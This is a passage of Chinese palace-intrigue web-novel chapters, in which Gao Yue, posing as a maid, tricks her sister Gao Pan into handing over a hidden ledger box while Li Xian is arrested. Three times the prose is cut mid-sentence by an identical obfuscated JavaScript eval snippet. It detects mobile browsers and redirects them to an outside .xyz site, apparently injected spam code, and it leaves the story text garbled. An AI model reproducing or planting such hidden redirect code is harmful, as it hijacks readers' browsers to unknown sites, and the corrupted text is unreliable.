一声微不可闻的轻响,那朵茶花,就这么被齐齐掐断。 跪在地上的太监吓得一哆嗦,头埋得更低了。 他仔细揣度着皇后的心意,小心翼翼地抬起头,进言道:“娘娘,那李显知道的太多,既然已经被齐思铭盯上,不如一不做二不休,派人结果了他,一了百了。自古以来,只有死人,才最能保守秘密。” 皇后闻言,轻嗤了一声。 她缓缓转过身,将那朵断了茎的茶花随手丢在地上。 “杀了他?”皇后重复着太监的话,“王德福,你跟在本宫身边这么多年,脑子倒是愈发像块榆木疙瘩了。” 王德福一听,立马重重磕头,“奴才说错了话,请娘娘赎罪!” “蠢货。”皇后踱步回到凤座,居高临下地看着他,“李显死了,账本呢?杀了他,李旦那条疯狗不得跟本宫拼命?” “你以为李旦手里握着的那些个东西,他会甘心让你去把他宝贝儿子给杀了?” 皇后的声音陡然提高,“本宫养的狗,就算是要杀,也得本宫亲自动手。他齐思铭算是个什么东西,也敢动本宫的人?” 王德福趴在地上,大气不敢喘。 皇后眼底的怒火渐渐散去,取而代之的是一片深不见底的算计。 “他不是要拿一个女人威胁李显吗?”皇后的脸上露出了一丝诡异的笑容,“那本宫,就偏要当一回救苦救难的活菩萨。” 她看向趴在地上的王德福,声音恢复了以往的平淡,“传本宫懿旨,命山城守卫即刻前往红袖阁,就说有乱党劫持朝廷要犯,意图不轨,给本宫把人“救”出来。” 王德福瞬间会意,这哪里是救人,这分明是把人换个地方关押,将这枚棋子,从齐思铭的手里,给抢过来。 “不过,小惩大诫是必须的。”皇后继续说道,“本宫要也要让知道,谁才是他的主子。” “派几个得力的人去,给李显那个蠢货一点教训!” …… 月色如霜。 齐思铭一袭白衣,独立于院中,手中的那把红笛在月光下透露出幽异的光芒。 笛声自他唇边流淌而出,带着刺骨的哀凉,像是游荡在荒野上的孤魂,又似是对这无情天地的质问。 一曲终了,他却未曾放下玉笛。 只是静静地站着,任由冷风吹起他的发丝。 他毫无征兆地想起了那个女人,想起那日她与苏青争论,“应该让规则去限制权利,而不是让权利去成为规则。” 她斩钉截铁的声音,似乎还在耳边回响。 齐思铭的嘴角勾起一抹自嘲的弧度。 他今日,不正是用最卑劣的手段,将自己的“权利”变成了胁迫李显的“规则”么? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16385128|182991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他抓了那个女人,用一个无辜者的性命,去撬开另一个人的嘴。 这双手,早已沾满了肮脏与算计。 若是被她知道了自己今日的所作所为,她那双总是清亮又带着一丝狡黠的眼睛里,会是什么样的神情? 他缓缓垂下眼,指尖摩挲着冰凉的笛身,那抹红色,在清冷的月光下,红的令人心慌。 王友的身影不知什么时候出现在他身后,“王爷,已经派人将那女子暂时安置在别院,严加看管。” “嗯。”齐思傅心不在焉地应了一声,目光依旧看向空中的皎月。 “本王……是不是做错了?” 齐思铭的声音像一句梦呓,游荡在这黑夜的风中。 王友的身子微微一震,他沉默了片刻,低声回答道,“属下知道王爷是迫不得已才这么做的。” 他上前一步,声音压的更低,带着一股沉沉的悲愤。 “王爷,您没有错!您忘了吗?当年荣亲王府是如何一夜倾覆的?若非李旦那个老贼设计构陷,王府上下又怎会……” “荣亲王对您如同亲手足,可他们的亲眷如今却还在那苦寒之地受尽折磨,他们又何其无辜?李旦父子又何曾对他们有过半分悲悯?” “在属下看来,别说是用一个女人去威胁李显了。便是将李家这对父子千刀万剐,也难消我们心头只恨!” 齐思铭沉默了半晌,这才回答道:“王友,你觉不觉得,今晚的李显,有些奇怪?” 王友一愣,思索片刻后回答:“属下愚钝,只觉得他不似之前打探到的那翻纨绔之样。” “不。”齐思铭摇头,转过身来,那双深邃的眸子晦暗不明,“他的反应不对。一个养尊处优的纨绔子弟,面对刀架在脖子上的威胁,第一反应是愤怒和恐惧。他或许会破口大骂,或许会屁滚尿流,但绝不会是今晚那副模样。” 他顿了顿,似乎在回味着什么。 “他最后的眼神……那是一种玉石俱焚的决绝,甚至还带着一丝悲悯。” “悲悯?”王友皱起了眉头。 他思索了片刻,用一种不确定的语气说道,“王爷,会不会是您想多了?依属下看,那李显从小到大顺风顺水,何曾见过今日这种阵仗?” “或许是被我们吓破了胆,乱了心神,所以才会做出这些异于常人的举动。” 齐思铭想起那双清亮又复杂的眼睛,总觉得有种说不出的熟悉感,仿佛在哪里见过。 “王爷,会不会是……” 齐思铭抬手打断了王友的猜测,他的声音恢复了以往的冷静。 “本王不管他是什么人,账本必须拿到。” 他吩咐王友。 “你亲自带人,从现在起,给我死死地盯住他。他见的每一个人,说的每一句话,我都要知道。” “是,王爷。”王友领命,身影悄无声息地融入夜色之中。 院中重归寂静,齐思铭重新拿起玉笛,指腹在那冰凉的笛身上缓缓滑过,眼底的疑云却越来越浓。 …… 山城一处极为奢华的别院外。 高玥换上一身不起眼的夜行衣,将自己完美地藏匿在墙角的阴影里。 她从白日里跟踪的一个小厮口中得知,真正的李显最近都在此地花天酒地,夜夜笙歌。 她屏住呼吸,仔细观察着别院的地形,寻找着守卫换防的空隙,准备潜入进去,逼问出账本的下落。 就在此时,巷口传来一阵急促而压抑的脚步声。 高玥的身体瞬间绷紧,立刻将自己缩入更深的阴影中。 她看见数名面色不善的侍卫径直冲向了别院的大门。 高玥的心提到了嗓子眼,这些人来者不善,目标显然也是李显。 只听那为首压低了声音,对着身后的几个侍卫下令。 “上头有令,不必惊动旁人,直接把里面的李公子“请”回去!若他反抗,打断他的腿也无妨!” 34. 声色别院局中局 与院外肃杀的景象截然不同。 这别院之内,一派声色犬马,纸醉金迷。 只见那李显衣衫半露,正睡眼惺忪地靠在软榻上。 他左边的一个美人正将剥好的葡萄喂到他的嘴里,而右边的则正举着白玉酒杯,将美酒送到他的唇边。 堂下,数名身着薄纱的舞姬正扭动着水蛇一般的腰肢,彩袖翩飞,媚眼如丝。 就在这时,门帘猛地被掀开,管家连滚带爬地闯了进来,声音充满了惊慌,“公子,不好了!门外……门外来了好多官兵,看样子来者不善!” 丝竹声戛然而止。 李显搂着美人的手微微一顿,那双原本还带着几分迷离醉意的眼睛,春色与浪荡刹那间褪得一干二净。 下一瞬,他缓缓推开身边的美人,再抬眼时,周身的气息已截然不同。 那正举着酒杯的美人手腕一僵,方才还含情脉脉地公子,此刻那股子轻浮之气荡然无存,取而代之的是一种她从未见过的威压。 她下意识地看向李显的眼睛,只对视了一眼,她举着酒杯的手猛地一颤,几乎就要洒出来。 先前还旖旎暧昧的气氛,瞬间被一种令人窒息的冰冷寂静所取代。 就在这死一般的寂静中,李显却突然低低地笑出了声。 他脸上的阴鹜一扫而空,仿佛刚刚的凌厉只是旁人的错觉。 他又变回了那个风流倜傥的公子哥,甚至还伸出手,安抚似的拍了拍身侧那位早已僵住的美人。 “慌什么。” 李显的声音温柔得能滴出水。 他看向面前脸色惨白的管家,不耐烦地说道,“看到没,你把我的美人都给吓坏了。” 他明明在笑,语气里甚至带着一丝宠溺,可那管家却瞬间冷汗涔涔,双腿一软,几乎要跪下去。 李显把玩着手中的酒杯,漫不经心地晃了晃,然后看向管家,忽然开口。 “对了。”他像是在吩咐一件无关紧要的事情,“我书房里那盆墨兰,今早瞧着有些蔫了,你带上花,去趟城西的花房,告诉那里的王掌柜,就说我这儿的土太硬,让他送些上好的观音土过来。” 他顿了顿,随即脸上露出一抹意味深长的笑意。 “记住,要快。这兰花娇贵,可等不得。” 管家先是一愣,随即重重地磕了一个头,连滚带爬地退了出去。 管家领命后,几乎是手脚并用地爬出了房间。 但他并未朝着别院的大门方向走去,反而是一转身,熟门熟路地穿过一条幽静小道,来到别院深处一栋不起眼的小楼面前。 这小楼平日里门窗紧闭,下人们都被告诫不允许靠近,只当是放杂物的存在。 管家在门前站定,极有规律地扣击了三轻一重。 片刻后,门内传来一个清冷的女声,“进。” 管家这才推门而入,并迅速将门关好。 屋内陈设雅致,一缕清幽的檀香袅袅升起。 一位身着青色云锦华服的女子正坐在窗边的书案前,一头青丝只用一根简单的青簪松松绾住,正垂首看着面前的书册,手中还时不时地在上面圈点着什么,神情专注而宁静。 听到推门声,她并未抬头,只是淡淡地开口,“何事如此慌张?” 管家压低了声音,“小姐不好了,公子那边出事了,外面被官兵包围了,说是强行要把公子带走……应该是那位的人……” 他犹豫了一下,又补充道,“公子让小的出来,去城西花房,让王掌柜送些上好的观音土过来……” 女子握着笔的手顿了一下,这才缓缓抬起头。 “观音土……”她轻声重复着这三个字,漂亮的杏眼中没有一丝波澜,“好一个观音土,他这是想借献国公这尊大佛,来压一压那位。” 她起身踱步到窗边,目光投向远处,“在这山城,谁人不知,献国公府的老太君,一生礼佛,最爱供的,便是城西庙里的那尊千手观音。” “他这是要告诉献国公,他有难,让他们出手相助……” 她转过身,吩咐管家道,“你现在去后门,让陈奇备车,送你去献国公府。还有……” 她顿了顿问道:“那件东西,还在吧?” 管家立刻表情严肃,语气斩钉截铁:“小姐放心,就算小的命没了,那东西也绝不会有事。” 女子“嗯”了一声,再没有多余的话,只用一个眼神示意他可以退下了。 几乎是管家退出的同时,别院的正门传来一声巨响,大门被粗暴地踹开,一队侍卫鱼贯而入。 前一刻还挂在李显嘴角的笑意瞬间凝固,那双眸子中此刻没有半分的算计,取而代之的是一种夸张的惊慌与愤怒。 他几乎是连滚带爬地从软榻上站起,指着为首的侍卫大声斥责道,“好大的狗胆!你们知道本公子是谁吗?!” “敢闯我的别院,我看你们一个都不想活了!” 为首的侍卫却连眼皮都未曾抬一下,冷冷说道,“李大公子,我们奉旨拿人,还请您不要让我们为难。” 他话音刚落,便不耐烦地一挥手。 身后两名身材魁梧的侍卫立刻上前。 “你们……你们想干什么!”李显向后缩了缩,“我告诉你们,碰了我,你们可担当不起!” 可那两名侍卫却根本不理会他的叫嚣,一左一右地钳住了他的胳膊,只一声轻响,双臂已被粗暴地反剪至身后。 “哎哟……疼疼疼!”李显立刻换上了一幅求饶的嘴脸,他被侍卫推搡着往外走,踉踉跄跄,却不见丝毫反抗。 那副窝囊的样子,引得侍卫都露出了鄙夷的神情。 眼看着就要被拖出别院大门,李显却突然像是想起什么似的,双脚猛地往地上一瞪,死活不再肯再往前走一步。 他可怜兮兮地喊道,“各位官爷,你们抓我可以,可千万别为难她们啊!这些美人可各个都是我的心头肉,要是少了一根头发,我……我做鬼也不放过你们!” 押着他的侍卫显然是没有见过如此厚颜无耻之人,脸上鄙夷的神色更重了。 其中一个人不耐烦地嗤笑出声,手上加了劲,狠狠一推,“一个大男人哭哭啼啼,像什么样子!再不走,连她们一块带走!” 听到这话,李显反而像是被吓破了胆,立刻收了声,任由侍卫推搡着,踉踉跄跄地跨出了门槛。 就在他被推出大门的瞬间,他脚下一个踉跄,险些摔倒。 押着他的侍卫骂骂咧咧,并未在意。 可就是这低头的一瞬间,李显脸上那副窝囊又惊恐的表情悄然褪去,取而代之的是一抹算计得逞的笑意。 他的眼神看向街角一个不起眼的暗处。 那里,已经离开的管家正要登上马车,似有所感地回过头。 四目相对,没有言语。 李显的下颌微不可查地动了一下,轻轻点了点头。 管家会意,不再停留,迅速钻入马车。 而李显也在同一时间重新抬起头,脸上又挂上了那副快要哭出来的表情。 这一切,都被藏在不远处暗影里的高玥尽收眼底。 早就听闻这李显是个纨绔废物,今日一见果然名不虚传。 死到临头不想着怎么保命,脑子里惦记的居然还是他那些美人。 高玥在暗处无声地摇了摇头。 今晚这一出大戏倒是不错,只可惜她今晚没工夫欣赏。 想必是他又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16394582|182991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在哪里得罪了什么惹不起的人物,才会被人当众拿办。 不过,这对于她而言,反倒是一件好事。 她今晚的目的就是那所谓的账本,如今李显被带走,这偌大的别院群龙无首,正是她行动的绝佳时机。 想到此,高玥不再停留。 待到院外彻底没了动静,她身形一闪,悄无声息地溜进了别院。 高玥避开几个惊魂未定的下人,一路摸索至后院。 很快,她的目光便锁定在了一栋独立的小楼上。 这栋小楼守卫森严,与整个别院的奢靡风格格不入。 即便是在这种混乱时刻,楼外依然有几名护卫面无表情地守着,显然此地非同寻常。 高玥谨慎地环顾四周,确认无人后,她悄悄地从发间取下一根细长的银簪,稍一拨弄,便只听“咔哒”一声轻响,铜锁应声而开。 推门而入,一股淡淡的墨香扑面而来。 与李显那副纨绔做派截然不同,这书房内的布置竟然是井井有条。 但她来不及思考,她迅速搜查了所有明面上的地方,桌案、书架,甚至是花瓶的背后,都一无所获。 她站在书房中央,目光扫过整个房间,不放过任何一个细节。 一个纨绔子弟,会把重要的东西放在哪里? 若他真如表面那般草包,大概会藏在床底下或是某个随意的暗格里。 但这个房间的布置,却透露出主人截然不同的心性。 她注意到书案上一方砚台。 那砚台雕工精美,刻着山水流云,并无出奇之处。 但她却注意到,砚台下方的底座与桌面之间,似乎有着一丝微不可查的缝隙。 就在她的指尖几乎已经触碰到那冰凉的砚台的时候。 一个清冷的女声毫无征兆地在她身后响起。 “你在干什么!” …… 与此同时,齐王府。 与李显那喧嚣奢靡的别院不同,这里静谧得仿佛能听得见月色蜿蜒流淌的声音。 齐思铭正临窗而立,看着窗外的月色出神。 一道黑影悄无声息地出现在他身后。 齐思铭没有回头,声音清冽地如同窗外的月光,“查的事情怎么样了?” “回王爷,”王友一五一十地回答道,“玥贵妃确实是在山城,只是据她身边的侍女翠儿说,已经好几天没有见到过贵妃的人了。” 空气中有片刻的凝滞。 齐思铭缓缓转过身,眸色晦暗难辨。 “好几天?”他重复了一遍,声音里听不出喜怒,却让王友没来由地感到一阵寒意。 半晌,他吐出几个字,“掘地三尺,也要把她给本王找出来!” “是!”王友立刻躬身领命。 齐思铭的目光重新看向窗外,“李显那边的账本,可有消息了?” 王友不敢有丝毫怠慢,立刻回答道,“回王爷,李显出事了……就在刚刚,他被从别院直接拿下,已经被带走了。” 齐思铭转过身,面色平静:“谁的人?” “应该是皇后。” 王友的话音落下的瞬间,齐思铭一直平静无波的脸上终于出现了一丝变化。 那是一种极细微,然后被瞬间压制住的暴怒。 王友只觉得一股寒气袭来,连头都不敢抬。 可这情绪来得快,去得也快。 不过一息间,齐思铭又恢复了那副清冷的模样,只是那深不见底的眸子中,翻涌着惊涛骇浪。 他缓缓扯动嘴角,眼中透出一丝狠厉,“看来,本王要失约了。” 他转过身,看着王友,“走吧,咱们提前去见见这位李大公子。” 35. 血亲陌路布死局 齐思铭正将一枚玄铁扣在护腕上,他转过头,看到王友还在磨磨蹭蹭。 他没有回头,淡淡地说道,“不去准备,是还有话要说?” 王友身子一顿,似乎在斟酌着怎么开口。 齐思铭终于扣好护腕,看到王友还没开始动,有些不耐烦,“有事就说。” 王友眼瞅着自家主子越来越低的气压,不敢再隐瞒,只得急急地说道,“王爷,还有一件事,我们在李显别院蹲守的兄弟传来消息,就在放在的混乱中,似乎有人趁乱潜入了……” 齐思铭眼神一沉,随即说道:"什么人?" “回王爷,兄弟们远远瞧着,身形像个女子,而且瞧着有几分眼熟。” “像……像是玥贵妃娘娘……” 话音刚落,王友明显的感觉到周围的气压比刚刚还要更低了好几度。 “你说什么?”他盯着王友,“再说一遍。” 王友没敢吱声,也不敢抬头看自家主子此刻的神情。 “她怎么会在那里?” 说完这句话,齐思铭几乎是立刻想到了什么,脸色一瞬间变得极为难看。。 "那个不要命的......"他的声音低得可怕。 王友试探道,"王爷,要不要先派人去李府......" “不行!”齐思铭断然拒绝,“李显此刻就在官道上,若是错过此次机会,此后想要拿到账本就更难。” “传下去,所有人按照原计划行事,不许出任何纰漏。” 齐思铭缓缓地来回踱步,像是在思考斟酌着什么。 账本……那个女人…… 一边是筹谋已久的大业,一边是那个不知死活闯入的变数。 最终,一丝连他自己都不愿承认的烦躁压倒了他心中的天平。 “王友。”他冷声开口,“你现在立刻抽出一队人马,现在赶往李家。” 王友一愣,还没来得及回复,便又听见齐思铭说道,“记住。” 他的眼中晦暗不明,“不管那人是不是她,都要确保其安然无恙。如果出现意外,人,必须给我完好无损地带回来!” 最后几个字,他几乎是从牙缝里挤出来的。 "是!" 说完,他大步流星地走出院子,翻身上马,直奔那条今夜注定不会太平的官道。 留下院中众人面面相觑。 谁都看得出,王爷此去,比任何一次行动都更狠厉,仿佛恨不得立刻结束官道上的一切,好赶赴另一处地方。 …… 而另一边,李府书房内。 “你在干什么!” 一个声音从高玥身后传来,她不由得身体一僵。 心中只有一个念头。 完了。 电光火石之间,她几乎是本能的在脑海中尖叫。 “系统!快!□□!” 然而,预想中熟悉的兑换成功的声音并未响起,取而代之的是一个更加冰冷的声音。 【用户积分不足,无法兑换。】 高玥的心,也随着这个声音,瞬间沉入谷底。 该死! 但她此刻连骂自己一句的功夫都没有。 她迅速打开系统商城。 可那一片只有她能看到的光幕上,各式各样的商品在此刻都像是对她无情的嘲讽。 【瞬移符】、【隐身斗篷】、【高级迷香】…… 旁边鲜红的“积分不足”四个大字,此刻刺得她眼睛生疼。 身后那人的脚步声不紧不慢,时间在这一刻仿佛被无限拉长。 高玥甚至能感觉到自己血液冲上头顶,耳膜中嗡嗡作响的声音。 她屏住呼吸,甚至不敢喘一口大气。 意念在光幕上疯狂下拉,紧张得只剩下本能的搜索。 便宜的,能用的东西,不管是什么都行! 终于,她像是发现了救命稻草一般,目光定格在一个毫不起眼的角落。 【镜花水月】 所需积分:50点。 剩余积分:52点。 就是它了! 高玥几乎是一瞬间就完成了兑换。 而就在她兑换完成的瞬间,一双温热的手掌,稳稳地覆上她的后背。 “你怎么不说话?” 高玥一秒钟不敢耽搁,她深吸一口气,缓缓转过身。 然后愣住了。 面前的女子一身藕荷色衣裙,清丽的面容在摇曳的烛火下显得楚楚动人。 这个人她再熟悉不过了。 是高盼! 高玥的脑子“嗡”的一声,几乎是一片空白。 庆幸、狂喜和欣慰…… 一时间无数种情绪如同决堤的洪水一般,在她的胸中翻涌。 她几乎要瘫倒在地。 怎么会是高盼?! 那一瞬间,高玥几乎要控制不住自己冲上前去。 她想要死死地抱住她,问她你怎么会在这里,你过的好不好,你知道母亲有多么担心你吗? 无数个问题堵在喉咙口,高玥却一个字都说不出来。 此刻她扮演的只是一个丫鬟,她又该如何向高盼解释自己就是高玥? 她这次兑换的道具并非高明的易容术,只是让人看她的脸时,会觉得模糊一片,看不真切。 面对眼前审判的目光,她只能死死咬住嘴唇,将所有翻涌的情绪强压下去,努力扮演一个惶恐不安的丫鬟。 高盼等了片刻,可面前的丫鬟却只是头垂得更低,一声不吭。 她开始有些不耐烦,声音也冷了下来,一字一句地审问道,“你怎么不说话?” 还未来得及等高玥回答,一个尖利的声音在高盼身后响起,高玥这才发现,高盼的身后竟还站着一个女子。 “这就是她们新给你的丫鬟?比上一个也好不了多少嘛,鬼鬼祟祟的,我看手脚可不怎么干净。” 那女子一身桃粉色衣裙,云鬓插着一只点翠的步摇,脸上写满了傲慢。 “回……”身份的突然转变让高玥怎么称呼都很变扭,她索性放弃,直接回答道,“奴婢春禾,是新来的。” 她定了定神,不卑不亢地掏出一块腰牌,双手呈上,“今夜初来乍到,迷了路,以为此处是管事嬷嬷的屋子,所以想进来问问路……” 春禾,这是她进来时随手拿的身份腰牌上的名字,就是以防会出现现在的这种情况。 “春禾?”高盼重复了这个名字,似乎是在辨别这句话的真伪。 高盼身后那女子见她这副模样,上前一步,想要看清高玥的模样。 “回话就回话,支支吾吾干什么。” “怎么,做了亏心事,连脸都不敢抬起来了?”她说着,竟伸出手,想去抬高玥的下巴。 高玥如触电般地向后退了半步,不着痕迹地躲开了她的手。 “你……”那女子见高玥竟然闪躲,有些气急败坏,还想说些什么,却被高盼打断。 “好了锦儿。”高盼不咸不淡地开口,“一个新来的丫头,不懂规矩也就算了,你也跟着起劲。” 那个叫做锦儿的女子悻悻地收回了手,不满地撇了撇嘴。 高盼没有理会锦儿,只是用那双审视的杏眼继续打量着高玥。 “抬起头来。”高盼说道。 高玥知道自己躲不过去,只得依言抬起头。 当她看向高盼的眼睛时,刚才那股从一开始就萦绕在她心头的怪异之感,瞬间找到了源头。 这张脸,她再熟悉不过,可这眼神,却让她觉得好似一个陌生人。 在高家看到的高盼,眼神总是温顺的,甚至是带着几分怯懦。 可眼前这个人,充满了审视与疏离。 不。 不仅是眼神,她说话的语气,甚至是她刚刚制止锦儿时的那种神态…… 都与她记忆中的那个哭泣的妹妹判若两人。 高盼,你究竟遭遇了什么? 像是察觉到了高玥的目光,高盼顿了顿,声音又低了几分。 “我记得新来的丫鬟里面没有见过你,说,是谁派你来的,在这书房里鬼鬼祟祟的,想干什么?” 书房内的空气仿佛凝固了。 高盼显然不相信她刚刚的那一套说辞,她必须给出一个理由,给出一个能让高盼相信,并且忌惮的理由。 就在这时,一张脸毫无预兆地闯进高玥的脑海中。 是齐思铭。 他仿佛就站在她的身边,那个男人,即使是在最危险的处境下,也依旧波澜不惊。 她不由自主地想,如果是他,此刻他会怎么选择呢? “被动,就意味着任人宰割。”她仿佛听见齐思铭在她耳边低语。 “你要做的,不是证明自己的清白,而是要抛出一个更大的,让他们更感兴趣的谜团,让他们无暇顾及你,转而去琢磨那个谜团。” 齐思铭那股令人窒息的压迫感此刻竟诡异地抚平了她心中的那份慌乱。 那个男人仿佛有一种天生的王者力量,仅仅是想到他,想到他那种将一切握于掌心的从容,就好像在令人窒息的稀薄高空里,猛地吸入了一口纯净的氧气。 瞬间,那股卡在嗓子眼的恐慌消散了,狂乱的心跳也开始逐渐平稳。 原本乱做一团的脑海被这突如其来的冷静涤荡一清,思维也开始变得清明。 是了,祸水东引。 她盯着高盼,心中一个大胆得连她自己都被吓了一跳的念头悄然而生。 赌一把! 就赌高盼和她一样,也身处这棋局之中,也有着不能说的秘密! 高玥深吸了一口气,调整好心跳,不紧不慢地说道。 “我并非是在此鬼鬼祟祟,而是奉了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16426880|182991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公子之命,过来确认一样东西。” 说完,高玥便垂下头,看似恭敬地站着,实则余光却一刻也没有离开过高盼的脸。 果然,高盼的神色变了几变。 “公子?”锦儿刚想开口质问,却被高盼打断。 高盼挥手让锦儿退到一旁,然后她走近两步,凑近高玥的耳边。 她压低了声音,语气中却带着一种了然于胸的笃定,“既如此,你让公子放心,那件东西安然无恙。” 高玥的心脏在那一瞬间几乎停止了跳动。 高盼的话无异于验证了她之前的一个猜想,这个书房中,确实藏着一个见不得光的秘密。 而这个秘密,说不定就是齐思铭口中的账本! 想到这里,高玥的心脏在胸腔中疯狂地跳动,她几乎已经可以听到自己心跳的声音。 可她面上,却依旧是那副恭顺的模样。 此刻她已经没有退路,这一步迈出去,就不能回头。 越是这个时候,就越是不能慌。 仅仅是确认秘密的存在,还远远不够。 她的目标,是拿到那个东西。 高玥脑海中回忆着齐思铭算计别人时候的语调,轻轻重复了一遍高盼的话。 “只是安然无恙?” 她抬起头,看向高盼,“姑娘这话,恐怕不足以让公子放心。” 高盼的脸色果然一僵。 “你什么意思?”她反问道。 “没什么意思。” 高玥一边说着,一边往前踏了一步,正好踩在了高盼心理防线的边缘。 近距离的靠近使得她身上的压迫感陡然增强,她步步为营地说道,“想必姑娘也听说了今晚的事情,如今风声鹤唳,任何一点疏忽都可能满盘皆输。公子命我过来,可不是只是为了听一句安然无恙的。这东西,必须立刻转移。” 转移? 显然这个命令超出了高盼的预料,她下意识地反问:“为何如此突然?公子他……” “公子的决定,也是你我能置喙的?”高玥冷冷地打断她。 “你只需知道,原先的地方已经不再安全。公子信你,才将东西放在你这里,可若是出了岔子,你我可都担待不起。” 高盼死死地盯着她,似乎想从她的脸上分辨这句话的真假。 “我凭什么信你?信物呢?” 来了。 这是最关键的一步。 高玥不答反问,“信物?如今公子已经被带走,莫非是您觉得在这种时候,他会把能落人话柄的东西交给我,再让我大摇大摆的自投罗网吗?” “还是姑娘觉得,信物,比那件东西更重要?” 高盼的脸色瞬间惨白。 看着她动摇的神情,高玥知道,是时候了。 她后退半步,做出一个悉听尊便的表情,声音也淡了下来,“罢了,既然姑娘不信,我也不强求。我会如实回禀公子,就说姑娘认为此地万无一失,不愿配合。” “至于公子听了之后会怎么想,会怎么做,那就不是我能管的了。” 她转身,作势要走。 “站住!” 高盼的声音响起。 高玥停下脚步,却没有回头。 身后是长久的沉默。 终于,高盼妥协了。 “你等着。” 高盼像是下定了某种决心,转身快步走到书房那排看似寻常的书架前。 她的手在书架上摸索着,最终停在了一处不起眼的麒麟木雕上,轻轻将那木雕向左旋转了两圈圈,又向右转了半圈。 那花梨木书架缓缓向一侧滑开,露出了后面一堵看起来再寻常不过的墙壁。 高盼蹲下身,在一块毫不起眼的红砖上轻轻一按。 只听“咔哒”一声轻响,那砖竟弹了出来,露出了一个黑漆漆的暗格。 高盼从里面掏出一个裹得严严实实的木盒,迟疑了一瞬,最终还是将它递到了高玥面前。 “东西就在这里。你告诉公子,我高盼,从未让他失望过。” 高玥伸出手,在触碰到木盒的一瞬间,她一直悬着的心,终于落回了实处。 成了。 她刚准备转身,还没来得及迈出一步,身后便响起了两声清脆的击掌声。 一种不祥的预感瞬间笼罩在她的心头。 只那一刹那,原本昏暗的角落里,不知道什么时候冒出几道黑影,瞬间将她团团围住。 高玥错愕地对上高盼的眸子。 方才的惊慌,迟疑,妥协,此刻在她的脸上荡然无存。 取而代之的是一种审视的笑意。 高盼走到高玥面前,慢悠悠地绕着她走了一圈,最后看向高玥手中的木盒。 “既然确认好了我的事情,”她停下脚步,不紧不慢地说道,“那也该确认一下你的事情了吧?” 36. 银梳囚凤杀机现 高玥环视了一圈周围将她团团围住的护卫,随即看向眼前的高盼。 眼前的这张脸让她感到既熟悉,又陌生。 她冷冷问道,“你这是做什么?” 高盼还未回答,那个锦儿却先一步开口,“你还好意思问为什么?” “说瞎话也要编的像样一点。你说你是公子派来的,那你又怎会不知,你面前的这位,正是公子明媒正娶的夫人?!” 李显的夫人? 高玥愣在原地。 再次见到高盼的那一瞬间,她的脑海中想过无数可能。 却唯独没有想过眼下这一种。 那晚她一遍遍控诉着命运的不公,那份绝望与不甘,还清晰地印在她的脑海里。 这才过去了多久,她竟摇身一变,变成了李显的夫人?! 红袖阁那晚的景象,浮现在她的脑海中。 那个被一群莺莺燕燕环在中间的,不正是李显? 她的妹妹,怎能嫁给这样一个流连花丛的男人?! 一股无名之火涌上心头。 “嫁给那个男人?你疯了?!” “你难道忘了你为什么要从那个家里逃出来了?!” 这句话仿佛一把利刃,精准地划破高盼脸上那层精致的伪装。 她的脸色微变,一瞬间,痛苦,挣扎,还有那段不堪回首的往事,顷刻间都如潮水般涌上心头。 然而,这脆弱的一瞬只停留了几秒钟。 下一秒,她的眼中再看不到半分温情,只剩下高位者对低位者的审判。 高玥几乎是想也不想地向前踏出一步,下意识地脱口而出,“你同我说,莫不是有人强迫你嫁给他?” “大胆!”锦儿打断了高玥的话,怒目圆睁地看向高玥。 “公子与姐姐的关系好着呢!你一个不知从哪来的丫鬟,也敢随意置喙我家公子的事情?” 高玥没有理会张牙舞爪的锦儿,只是死死地盯着眼前的高盼,试图从那张平静无波的脸上找到一丝一毫的被迫与不愿。 然而,什么都没有。 没有委屈,没有不甘,更没有她想象中的半分被迫。 高盼只是平静地看着她,似乎是默许了锦儿的话一般。 她的眼神中,更是流露着对如今生活的享受。 原来,从来就没有什么强迫。 在她为了所谓的姐妹情深在外面打探她的下落的时候,自己的妹妹,早已为自己铺好了一条登云梯。 可笑自己竟现在才意识到。 原来这就是你想要的? 那点残存的担忧与怒火,瞬间熄灭,很快,她便调整好情绪。 她自认为有一个算不上优点的有点。 那就是从不去规劝一个已经打定了主意的人。 就像你永远叫不醒一个装睡的人,也永远拉不回一个一心要往南墙上撞的人。 既然高盼早已为自己谋好了出路,那她又何必去做这个惹人厌? 那句已经涌到嘴边的“跟我走”,硬是被她生生地咽了回去,连同那些可笑的姐妹情谊,一并沉入了心底。 她想到刚刚高盼在房间内的举动,冷声问道,“你从一开始就知道我在撒谎?” 没想到高盼竟然白了高玥一眼,然后轻笑道。 “这有何难?” “你既说是公子派来的,又怎会不知我的身份?” “我本想看看你究竟想做什么,只是没想到你竟漏洞百出。” “况且我看你对这个账本也根本不了解,定是派你来的那个人,也没有同你讲清楚吧。” 